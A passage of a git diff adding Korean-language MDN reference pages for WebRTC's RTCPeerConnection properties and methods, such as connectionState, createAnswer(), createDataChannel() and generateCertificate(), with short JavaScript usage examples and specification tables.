+    <p>연결의 ICE 전송 중 적어도 한 개가 새로 만들어진 <code>"new"</code> 상태이고,  그 외의 나머지는 다음의 상태 중 하나가 아니여야 합니다: <code>"connecting"</code>, <code>"checking"</code>, <code>"failed"</code>, 혹은 <code>"disconnected"</code>, 혹은  모든 연결의 전송이 끝났다는 <code>"closed"</code>상태.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>"connecting"</code></td>
+   <td>하나 혹은 여러개의 ICE 전송이 현재 연결을 구성하는 중에 있음을 알려주는 값. 이는 <code>RTCIceConnectionState</code>가 <code>"checking"</code> 혹은 <code>"connected"</code>이며, 그 어떤 전송도 <code>"failed"</code>상태가 아니여야합니다. <strong>&lt;&lt;&lt; Make this a link once I know where that will be documented</strong></td>
+  </tr>
+  <tr>
+   <td><code>"connected"</code></td>
+   <td>연결에 의해 사용되는 모든 ICE 전송이 사용 중 (<code>"connected"</code> 혹은 <code>"completed"</code>)이거나, 종료된 상태입니다. 추가적으로 최소 하나의 전송이 <code>"connected"</code> 혹은 <code>"completed"</code>입니다.</td>
+  </tr>
+  <tr>
+   <td><code>"disconnected"</code></td>
+   <td>연결에 대한 최소 한 개의 ICE 전송이 <code>"disconnected"</code>상태이고, 그 외의 다른 전송 상태는 <code>"failed"</code>, <code>"connecting"</code>, 혹은 <code>"checking"</code>이 아님을 알려주는 값. </td>
+  </tr>
+  <tr>
+   <td><code>"failed"</code></td>
+   <td>
+    <p>연결에 대한 하나 혹은 여러개의 ICE 전송이 <code>"failed"</code>상태임을 알려주는 값.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>"closed"</code></td>
+   <td>
+    <p><code>RTCPeerConnection</code> 개통되지 않음을 알려주는 값.</p>
+
+    <p>2016년 5월 13일에 작성된 명세서의 초안에 따르면, 이 값은 <a href="#RTCPeerConnectionState_enum"><code>RTCPeerConnectionState</code> enum</a> 안에 존재했었습니다. 따라서, {{domxref("RTCPeerConnection.signalingState", "signalingState")}}의 값을 통해 찾을 수 있습니다. </p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">var pc = new RTCPeerConnection(configuration);
+
+/* ... */
+
+var connectionState = pc.connectionState;</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-connectionState', 'RTCPeerConnection.connectionState') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.connectionState")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Lifetime of a WebRTC session</a></li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+ <li>{{event("connectionstatechange")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/createanswer/index.html b/files/ko/web/api/rtcpeerconnection/createanswer/index.html
new file mode 100644
index 0000000000..a57adb7be1
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/createanswer/index.html
@@ -0,0 +1,96 @@
+---
+title: RTCPeerConnection.createAnswer()
+slug: Web/API/RTCPeerConnection/createAnswer
+translation_of: Web/API/RTCPeerConnection/createAnswer
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p>{{domxref("RTCPeerConnection")}} 인터페이스의 <strong><code>createAnswer()</code></strong> 메소드는 WebRTC 연결 중 발생하는 offer/answer 네고시에이션에서 원격 유저로부터 받은 offer에 대한 {{Glossary("SDP")}} answer를 생성합니다. 이 answer는 세션이 이미 부착된 미디어, 브라우저에서 지원하는 코덱 및 옵션, 그리고 이미 수집된 {{Glossary("ICE")}} candidate에 대한 정보를 담고 잇습니다. Answer는 반환 된 {{jsxref("Promise")}}에 전달되고, 그 다음에는 네고시에이션 과정을 계속 진행하기 위해서 offer의 소스에게 전달되야합니다. </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>aPromise</em> = <em>RTCPeerConnection</em>.createAnswer([<em>options</em>]);
+
+<em>RTCPeerConnection</em>.createAnswer(<em>successCallback</em>, <em>failureCallback</em>[, <em>options</em>]); {{deprecated_inline}}</pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Answer를 커스터마이즈 할 수 있는 옵션을 설정하는 객체입니다. 설정 가능한 옵션은 {{domxref("RTCAnswerOptions")}} 딕셔너리에 기반합니다.</dd>
+</dl>
+
+<h3 id="더_이상_사용되지_않는_매개_변수">더 이상 사용되지 않는 매개 변수</h3>
+
+<p>이전 버전의 문서에서는 이 함수를 콜백 기반으로 사용하도록 되어있습니다. 콜백 기반 함수는 이제 더 이상 사용되지 않으며, <strong>사용하지 않는 것을 권장</strong>합니다. 이미 사용 중이라면, <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="Promise 개체는 비동기 작업이 맞이할 미래의 완료 또는 실패와 그 결과 값을 나타냅니다."><code>Promise</code></a> 버전인 <code>createAnswer()</code>를 사용하도록 코드를 업데이트 하십시오. 이전 버전의 코드를 업데이트 하는 것을 쉽게 하기 위해 고안된 <code>createAnswer()</code>의 특정 변수에 대해 아래에서 설명합니다.</p>
+
+<dl>
+</dl>
+
+<dl>
+ <dt><code>successCallback</code> {{deprecated_inline}}</dt>
+ <dd>신규 생성된 answer를 설명하는 단일 {{domxref("RTCSessionDescription")}} 객체에 전달되는 {{domxref("RTCSessionDescriptionCallback")}} 입니다.</dd>
+ <dt><code>failureCallback</code> {{deprecated_inline}}</dt>
+ <dd>왜 answer를 생성하는 요청이 실패했는지를 설명해주는 단일 {{domxref("DOMException")}} 객체에 전달되는 {{domxref("RTCPeerConnectionErrorCallback")}} 입니다.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Answer를 위해 요청된 옵션을 제공하는 {{domxref("RTCOfferOptions")}} 객체입니다. </dd>
+</dl>
+
+<h3 id="예외처리">예외처리</h3>
+
+<dl>
+ <dt><code>NotReadableError</code></dt>
+ <dd>아이덴티티 제공자가 아이덴티티 주장을 제공 할 수 없음을 알려줍니다.</dd>
+ <dt><code>OperationError</code></dt>
+ <dd>SDP 생성이 어떤 이유로 실패했음을 알려줍니다. 이는 일반적인 failure catch-all exception 입니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>다른 유저에게 전달되는 SDP answer를 가진 {{domxref("RTCSessionDescriptionInit")}} 딕셔너리에 준수하는 객체와 함께 호출되는 fulfillment 핸들러인 {{jsxref("Promise")}} 입니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래는 <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a> 문서에서 나오는 코드의 일부입니다. 이 코드는 시그널링 채널을 통해 다른 유저에게 offer는 전달하는 메세지를 다루는 핸들러에서 나옵니다.</p>
+
+<div class="note">
+<p>주의 할 점은 이것이 시그널링 과정의 일부이며, 전송계층 구현에 대한 세부사항은 전적으로 개발자에게 달려있다는 것 입니다. 여기서는 <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket</a> 연결을 사용해서 다른 유저에게 "video-answer" 값이 있는 <code>type</code> 필드 및 offer를 보낸 장치에게 전달 할 answer를 담은 {{Glossary("JSON")}} 메세지를 보냅니다. 프로미스 fulfillment 핸들러의 다른 모든 항목들과 함께 <code>sendToServer()</code>함수로 전달되는 객체의 내용을 어떻게 할 지는 개발자의 디자인에 달려잇습니다.</p>
+</div>
+
+<pre class="brush: js">pc.createAnswer().then(function(answer) {
+  return pc.setLocalDescription(answer);
+})
+.then(function() {
+  // Send the answer to the remote peer through the signaling server.
+})
+.catch(handleGetUserMediaError);
+</pre>
+
+<p>위의 예제는 {{domxref("RTCPeerConnection")}}가 신규 answer를 만들고 반환하도록 요청합니다. 프로미스 핸들러에 반환된 answer는 {{domxref("RTCPeerConnection.setLocalDescription", "setLocalDescription()")}} 호출에 의해 연결의 로컬 엔드에 대한 description으로 설정됩니다.</p>
+
+<p>이 과정이 성공하면, answer는 적당한 아무 프로토콜을 사용해서 시그널링 서버에 전달됩니다. 그리고 {{jsxref("Promise.catch()")}}는 에러를 잡아내고 처리하기 위해 사용됩니다.</p>
+
+<p>{{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling", "Handling the invitation")}}를 확인해서 전체 코드를 확인해보십시오. 이 문서를 보면 시그널링 과정 및 answer가 어떻게 작동하는지를 이해 할 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-createanswer', 'createAnswer()')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.createAnswer")}}</p>
diff --git a/files/ko/web/api/rtcpeerconnection/createdatachannel/index.html b/files/ko/web/api/rtcpeerconnection/createdatachannel/index.html
new file mode 100644
index 0000000000..c348421377
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/createdatachannel/index.html
@@ -0,0 +1,146 @@
+---
+title: RTCPeerConnection.createDataChannel()
+slug: Web/API/RTCPeerConnection/createDataChannel
+translation_of: Web/API/RTCPeerConnection/createDataChannel
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p><span class="seoSummary">{{domxref("RTCPeerConnection")}} 인터페이스의 <strong><code>createDataChannel()</code></strong> 메소드는 어떤 형식의 데이터든 송신 할 수 있도록 원격 유저와 연결하는 신규 채널을 생성합니다.</span>이 방법은 이미지, 파일 전송, 문자 채팅, 게임 패킷 업데이트 등과 같은 백채널 컨텐츠에 유용하게 사용 가능합니다.</p>
+
+<p>연결 인터페이스에 신규 채널이 처음 추가되면, 재협상 과정이 {{event("negotiationneeded")}} 이벤트를 전달하여 시작됩니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>dataChannel</em> = <em>RTCPeerConnection</em>.createDataChannel(<em>label</em>[, <em>options</em>]);</pre>
+
+<h3 class="syntaxbox" id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>사람이 읽을 수 있는 채널 이름입니다. 이름의 문자열은 65,535 바이트 보다 작아야합니다.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd><a href="#RTCDataChannelInit_dictionary"><code>RTCDataChannelInit</code> dictionary</a>가 데이터 채널에 대한 설정 옵션들을 제공합니다. </dd>
+</dl>
+
+<h3 id="RTCDataChannelInit_딕셔너리">RTCDataChannelInit 딕셔너리</h3>
+
+<p><code>RTCDataChannelInit</code> 딕셔너리는 개발자의 필요에 따라 데이터 채널을 설정 할 때 객체로 전달되는 옵션 매개변수로 전달되는 객체에 포함 될 수 있는 다음의 필드들을 제공합니다:</p>
+
+<dl>
+ <dt><code>ordered</code> {{optional_inline}}</dt>
+ <dd>이 옵션은 {{domxref("RTCDataChannel")}}에 전달된 메세지가 보내진 순서대로 상대방에게 도착해야하는지 (<code>true</code>) 아니면 순서가 달라도 허용 (<code>false</code>)이 되는지를 결정합니다. <strong>기본 값: <code>true</code>.</strong></dd>
+ <dt><strong><code>maxPacketLifeTime</code> {{optional_inline}}</strong></dt>
+ <dd>불안정한 모드에서 메세지를 전송 할 때 최대 몇 초 동안 전송을 시도 할 것인지를 결정하는 옵션입니다. 이 값은 16bit의 부호가 없는 정수형이지만, 각 유저 에이전트는 적절하다고 판단되는 최대 값으로 지정 할 수 있습니다. (<strong>주의</strong>: <strong><code>maxPacketLifeTime</code></strong> 혹은 <strong><code>maxRetransmits</code> </strong>옵션 둘 중 하나만 사용해야함.) <strong>기본 값: <code>null</code>.</strong></dd>
+ <dt><code>maxRetransmits</code> {{optional_inline}}</dt>
+ <dd>불안정한 모드에서 메세지 전송이 실패하면 최대 몇 번을 재시도 할 것인지를 결정하는 옵션입니다. 이 값은 16bit의 부호가 없는 정수형이지만, 각 유저 에이전트는 적절하다고 판단되는 최대 값으로 지정 할 수 있습니다. (<strong>주의</strong>: <strong><code>maxPacketLifeTime</code></strong> 혹은 <strong><code>maxRetransmits</code> </strong>옵션 둘 중 하나만 사용해야함.) <strong>기본 값: <code>null</code>.</strong></dd>
+ <dt><code>protocol</code> {{optional_inline}}</dt>
+ <dd>{{domxref("RTCDataChannel")}}에 사용되는 서브 프로토콜의 이름입니다. 존재하지 않으면 이 옵션은 빈 문자열 (<code>""</code>)입니다. <strong>기본 값: 빈 문자열, <code>""</code>.</strong> 이 문자열은 65,535 바이트 보다 작아야합니다.</dd>
+ <dt><code>negotiated</code> {{optional_inline}}</dt>
+ <dd>기본 값일 경우 (<code>false</code>), 데이터채널은 밴드의 대역 내에서 협상됩니다. 이 때, 한 쪽은 <code>createDataChannel</code>를 호출하고, 다른 쪽에서는 {{domxref("RTCDataChannelEvent")}} 이벤트를 <code>ondatachannel</code> <code>EventHandler</code>를 사용해서 감청합니다. 반대로 <code>true</code> 일 경우, 밴드의 대역 범위를 벗어나도 재협상이 가능해집니다. 이 때에는 양쪽에서 합의된 id를 가진 <code>createDataChannel</code>을 호출하게됩니다. <strong>기본 값: <code>false</code>. </strong></dd>
+ <dt><code>id</code> {{optional_inline}}</dt>
+ <dd>채널에 대한 16bit 숫자형 ID입니다. 허용되는 값은 0에서 65534 사이입니다. 이 값을 지정하지 않으면, 유저 에이전트가 알아서 ID를 지정해줍니다.</dd>
+</dl>
+
+<div class="note">
+<p><code>RTCDataChannelInit</code> 딕셔너리를 사용해서 설정이 가능한 옵션들은 {{domxref("RTCDataChannel")}} 인터페이스에서 설정이 가능한 특성들의 서브 셋을 뜻합니다.</p>
+</div>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>지정한 <code>label</code>을 가지고, <code>options</code>에 지정한 옵션들을 사용하여 설정된 신규 {{domxref("RTCDataChannel")}} 객체입니다. 각 매개변수들을 지정하지 않으면, 기본 값으로 설정되어 생성됩니다.</p>
+
+<h3 id="예외처리">예외처리</h3>
+
+<dl>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>{{domxref("RTCPeerConnection")}}가 닫혀있음을 뜻합니다.</dd>
+ <dt><code>TypeError</code></dt>
+ <dd>이 에러는 여러 상황에서 발생이 가능합니다:
+ <ul>
+  <li>label 혹은 프로토콜 문자열이 너무 길어서 발생합니다. 해당 문자열은 65,535바이트보다 작아야합니다. </li>
+  <li><code>id</code>가 65535여서 발생합니다. 이 값은 유효한 부호가 없는 16bit 이지만, <code>id</code> 값으로 허용되는 범위를 벗어나게됩니다. (0-65534 까지만 허용)</li>
+ </ul>
+ </dd>
+ <dt><code>SyntaxError</code></dt>
+ <dd><code>maxPacketLifeTime</code> 와 <code>maxRetransmits</code> 옵션에 모두 값이 지정되면 발생합니다. 둘 중 하나에만 non-<code>null</code> 값을 지정해야 합니다.</dd>
+ <dt><code>ResourceInUse</code></dt>
+ <dd><code>id</code> 값이 지정되었지만, 다른 {{domxref("RTCDataChannel")}}에서 이미 같은 이름을 사용 중이면 발생합니다.</dd>
+ <dt><code>OperationError</code></dt>
+ <dd>지정한 <code>id</code>가 이미 사용 중이거나, <code>id</code>가 지정되지 않았다면 모든 ID들이 사용 중이기 때문에 WebRTC 레이어에서 자동으로 <code>id</code> 생성이 불가능 할 때 발생합니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 예제에서는 어떻게 데이터 채널을 생성하고, 생성 할 때 메세지를 전송하고 수신하는 이벤트인 {{event("open")}}와 {{event("message")}}에대한 핸들러를 설정합니다. (onnegotiationneeded는 이미 설정이 되었다고 가정하고 간소화한 예입니다.)</p>
+
+<pre class="brush: js">// Offerer side
+
+var pc = new RTCPeerConnection(options);
+var channel = pc.createDataChannel("chat");
+channel.onopen = function(event) {
+  channel.send('Hi you!');
+}
+channel.onmessage = function(event) {
+  console.log(event.data);
+}</pre>
+
+<pre class="brush: js">// Answerer side
+
+var pc = new RTCPeerConnection(options);
+pc.ondatachannel = function(event) {
+  var channel = event.channel;
+  channel.onopen = function(event) {
+    channel.send('Hi back!');
+  }
+  channel.onmessage = function(event) {
+    console.log(event.data);
+  }
+}</pre>
+
+<p>다른 방법으로는 양쪽에서 합의한 id를 사용하여 보다 대칭적인 대역 밴드 외 협상이 가능합니다. (id는 0입니다):</p>
+
+<pre class="brush: js">// Both sides
+
+var pc = new RTCPeerConnection(options);
+var channel = pc.createDataChannel("chat", {negotiated: true, id: 0});
+channel.onopen = function(event) {
+  channel.send('Hi!');
+}
+channel.onmessage = function(event) {
+  console.log(event.data);
+}</pre>
+
+<p>연결 및 채널이 구성되는 예를 더 자세히 알고 싶다면, <a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">A simple RTCDataChannel sample</a>를 참조하십시오.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-createDataChannel-RTCDataChannel-DOMString-label-RTCDataChannelInit-dataChannelDict', 'createDataChannel()')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.RTCPeerConnection.createDataChannel")}}</p>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{domxref("RTCDataChannel")}}</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">A simple RTCDataChannel sample</a></li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/currentlocaldescription/index.html b/files/ko/web/api/rtcpeerconnection/currentlocaldescription/index.html
new file mode 100644
index 0000000000..45b79a88f4
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/currentlocaldescription/index.html
@@ -0,0 +1,76 @@
+---
+title: RTCPeerConnection.currentLocalDescription
+slug: Web/API/RTCPeerConnection/currentLocalDescription
+translation_of: Web/API/RTCPeerConnection/currentLocalDescription
+---
+<p>{{WebRTCSidebar}}</p>
+
+<p>읽기 속성인 <code><strong>RTCPeerConnection.currentLocalDescription</strong></code>은 가장 최근에 {{domxref("RTCPeerConnection")}}가 성공적으로 네고시에이션을 마치고 원격 피어와 연결된, 연결인터페이스의 로컬 엔드를 설명하는 {{domxref("RTCSessionDescription")}} 객체를 반환합니다. 이외에도 설명에 의해 offer 혹은 answer가 처음으로 인스턴스화 되면 ICE 에이전트에 의해 이미 생성됬을수도 있는 ICE candidate 목록이 포함되어 있습니다.</p>
+
+<p><code>currentLocalDescription</code>을 바꾸기 위해서는, 이 값을 설정하도록 연쇄 이벤트를 작동시키는 {{domxref("RTCPeerConnection.setLocalDescription()")}}를 호출하십시오. 이 연쇄 이벤트가 어떻게 값을 바꾸고, 왜 즉시 값이 바뀌지 않는지에 대해 궁금하다면, {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Pending and current descriptions")}}를 살펴보십시오.</p>
+
+<div class="note">
+<p>{{domxref("RTCPeerConnection.localDescription")}}와 다르게, <code>currentLocalDescription</code>는 연결 인터페이스의 로컬 엔드에 대한 현재 상태를 나타내는 값 입니다. <code>localDescription</code>은 연결 인터페이스가 현재 어떤 상태로 전환 중인지를 설명하는 값을 명시 할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>sessionDescription</em> = <em>RTCPeerConnection</em>.currentLocalDescription;</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>연결이 설정된 경우, 연결의 로컬 엔드에 대한 가장 최신 설명입니다. 성공적으로 연결이 설정이 되지 않았다면, 반환 값은 <code>null</code> 입니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>이 예시는 <code>currentLocalDescription</code>을 확인하고, {{domxref("RTCSessionDescription")}} 객체의 <code>type</code> 및 <code>sdp</code> 필드를 담고 있는 경고 메세지를 출력합니다.</p>
+
+<pre class="brush: js">var pc = new RTCPeerConnection();
+…
+var sd = pc.currentLocalDescription;
+if (sd) {
+  alert("Local session: type='" +
+        sd.type + "'; sdp description='" +
+        sd.sdp + "'");
+}
+else {
+  alert("No local session yet.");
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-currentLocalDescription', 'RTCPeerConnection.currentLocalDescription') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.currentLocalDescription")}}</p>
+
+<div class="note">
+<p><code>currentLocalDescription</code>와 {{domxref("RTCPeerConnection.pendingLocalDescription", "pendingLocalDescription")}}기능은 최근에 추가 되었습니다.  따라서, 이 기능을 지원하지 않는 브라우저에서는 {{domxref("RTCPeerConnection.localDescription", "localDescription")}}를 사용하십시오.</p>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{domxref("RTCPeerConnection.setLocalDescription()")}}, {{domxref("RTCPeerConnection.pendingLocalDescription")}}, {{domxref("RTCPeerConnection.localDescription")}}</li>
+ <li>{{domxref("RTCPeerConnection.setRemoteDescription()")}}, {{domxref("RTCPeerConnection.remoteDescription")}}, {{domxref("RTCPeerConnection.pendingRemoteDescription")}}, {{domxref("RTCPeerConnection.currentRemoteDescription")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/currentremotedescription/index.html b/files/ko/web/api/rtcpeerconnection/currentremotedescription/index.html
new file mode 100644
index 0000000000..8b767ac446
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/currentremotedescription/index.html
@@ -0,0 +1,72 @@
+---
+title: RTCPeerConnection.currentRemoteDescription
+slug: Web/API/RTCPeerConnection/currentRemoteDescription
+translation_of: Web/API/RTCPeerConnection/currentRemoteDescription
+---
+<p>{{WebRTCSidebar}}</p>
+
+<p>읽기 속성인 <code><strong>RTCPeerConnection.currentRemoteDescription</strong></code>은 마지막 {{domxref("RTCPeerConnection")}} 이후 가장 최근에 원격 유저와의 네고시에이션 및 연결을 성공적으로 마친 연결의 원격 엔드 포인트를 알려주는 {{domxref("RTCSessionDescription")}} 객체를 반환합니다. 추가적으로 이 속성은 description에 의해 표현되는 마지막 offer 및 answer가 처음 시작되면 ICE 에이전트에 의해 생성이 되었을 수도 있는 모든 ICE candidate들의 리스트를 포함합니다.</p>
+
+<p><code>currentRemoteDescription</code>를 바꾸기 위해서는,  {{domxref("RTCPeerConnection.setRemoteDescription()")}}를 호출해서 이 값이 설정되도록 만들어주는 연속된 이벤트를 활성화하십시오. 왜 바꾸는 것이 바로 적용이 안되는지 및 어떻게 작동하는지 더 자세히 알고 싶다면, {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Pending and current descriptions")}}를 참조하십시오.</p>
+
+<div class="note">
+<p>{{domxref("RTCPeerConnection.remoteDescription")}}와 다르게, 이 값은 연결의 로컬 엔드 포인트에 대한 실제 현재 상태를 보여줍니다. <code>remoteDescription</code>은 연결이 현재 어느 상태로 바뀌는지에 대한 설명도 명시 할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>sessionDescription</em> = <em>RTCPeerConnection</em>.currentRemoteDescription;</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>설정이 되어있다면, 연결의 원격 엔드포인트에 대한 현재 설명을 반환합니다. 설정되어있지않으면, 이 값은 <code>null</code>입니다. </p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래 예제는 <code>currentRemoteDescription</code> 를 확인하고 객체의 <code>type</code> 및 <code>sdp</code> 필드를 경고로 띄워줍니다.</p>
+
+<pre class="brush: js">var pc = new RTCPeerConnection();
+…
+var sd = pc.currentRemoteDescription;
+if (sd) {
+  alert("Local session: type='" +
+        sd.type + "'; sdp description='" +
+        sd.sdp + "'");
+}
+else {
+  alert("No local session yet.");
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-currentRemoteDescription', 'RTCPeerConnection.currentRemoteDescription') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.currentRemoteDescription")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{domxref("RTCPeerConnection.setRemoteDescription()")}}, {{domxref("RTCPeerConnection.pendingRemoteDescription")}}, {{domxref("RTCPeerConnection.remoteDescription")}}</li>
+ <li>{{domxref("RTCPeerConnection.setRemoteDescription()")}}, {{domxref("RTCPeerConnection.remoteDescription")}}, {{domxref("RTCPeerConnection.pendingRemoteDescription")}}, {{domxref("RTCPeerConnection.currentRemoteDescription")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/generatecertificate/index.html b/files/ko/web/api/rtcpeerconnection/generatecertificate/index.html
new file mode 100644
index 0000000000..d516a3435f
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/generatecertificate/index.html
@@ -0,0 +1,69 @@
+---
+title: RTCPeerConnection.generateCertificate()
+slug: Web/API/RTCPeerConnection/generateCertificate
+translation_of: Web/API/RTCPeerConnection/generateCertificate
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p>{{domxref("RTCPeerConnection")}} 인터페이스의 <strong><code>generateCertificate()</code></strong> 메소드는 X.509 인증서와 해당하는 개인 키를 생성하고 저장합니다. 그리고 접근이 가능한 {{domxref("RTCCertificate")}}를 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>cert</em> = RTCPeerConnection.generateCertificate(<em>keygenAlgorithm</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>keygenAlgorithm</code></dt>
+ <dd>키를 생성하는데 사용하는 알고리즘을 식별하는 {{domxref("DOMString")}}입니다.</dd>
+</dl>
+
+<div class="note">
+<p><code>RTCPeerConnection.generateCertificate()</code> 은 정적인 메소드로, 따라서 인스턴스가 아닌 <code>RTCPeerConnection</code> 인터페이스에서 항상 호출됩니다.</p>
+</div>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{domxref("RTCCertificate")}} 객체에 대한 참조 값입니다.</p>
+
+<h3 id="예제">예제</h3>
+
+<pre class="brush: js">RTCPeerConnection.generateCertificate({
+    name: 'RSASSA-PKCS1-v1_5',
+    hash: 'SHA-256',
+    modulusLength: 2048,
+    publicExponent: new Uint8Array([1, 0, 1])
+}).then(function(cert) {
+  var pc = new RTCPeerConnection({certificates: [cert]});
+});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-generateCertificate-Promise-RTCCertificate--AlgorithmIdentifier-keygenAlgorithm', 'generateCertificate()')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.generateCertificate")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/getconfiguration/index.html b/files/ko/web/api/rtcpeerconnection/getconfiguration/index.html
new file mode 100644
index 0000000000..c2d278cf1a
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/getconfiguration/index.html
@@ -0,0 +1,78 @@
+---
+title: RTCPeerConnection.getConfiguration()
